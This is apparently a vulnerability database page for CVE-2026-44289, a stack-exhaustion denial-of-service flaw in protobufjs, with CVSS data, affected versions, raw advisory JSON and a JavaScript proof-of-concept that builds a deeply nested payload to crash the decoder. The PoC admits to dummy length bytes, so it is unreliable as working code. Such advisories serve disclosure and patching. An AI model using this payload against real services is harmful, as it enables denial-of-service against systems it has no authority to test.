Security Vulnerability Report
中文
CVE-2026-44289 CVSS 7.5 HIGH

CVE-2026-44289

Published: 2026-05-13 16:16:56
Last Modified: 2026-05-13 20:50:50

Description

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields. A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding. This vulnerability is fixed in 7.5.6 and 8.0.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-44289: Protobufjs Stack Exhaustion (DoS) // This script demonstrates the vulnerability by attempting to decode a // deeply nested protobuf payload which causes stack overflow. const protobuf = require("protobufjs"); // 1. Define a recursive message structure const schema = ` syntax = "proto3"; package poc; message Level { Level next = 1; } `; async function runPoC() { const root = protobuf.parse(schema).root; const Level = root.lookupType("poc.Level"); // 2. Create a malicious payload with deep nesting // Manually constructing a protobuf binary with deeply nested fields. // Each nested group adds a frame to the call stack. const depth = 20000; // Sufficient depth to exhaust stack let bufferParts = []; // Protobuf wire format for nested message (Type 2, Field 1) // This is a simplified representation of a crafted binary payload for (let i = 0; i < depth; i++) { // Start_nested_message (Field 1, Wire Type 2): Tag 0x0A (00001 010) bufferParts.push(Buffer.from([0x0A])); // Length of the inner message (dummy length for demonstration) // In a real exploit, lengths must match the inner content size bufferParts.push(Buffer.from([0x02])); } // Fill end bytes to balance length roughly (Conceptual PoC) for (let i = 0; i < depth; i++) { bufferParts.push(Buffer.from([0x00, 0x00])); // Dummy data } const maliciousPayload = Buffer.concat(bufferParts); console.log(`Sending payload with estimated depth: ${depth}...`); try { // 3. Trigger the vulnerability // The decode function will recurse infinitely until stack crash Level.decode(maliciousPayload); console.log("Exploit failed (Version might be patched)"); } catch (e) { console.log(`[+] Crashed application: ${e.message}`); } } runPoC();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44289", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:55.713", "lastModified": "2026-05-13T20:50:50.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields. A crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding. This vulnerability is fixed in 7.5.6 and 8.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.6", "matchCriteriaId": "BC190A12-59A1-4DEF-A65D-E4216ED5B807"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "734292AA-F3B2-4E3E-9FA2-0EBA7AB0BB45"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-685m-2w69-288q", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}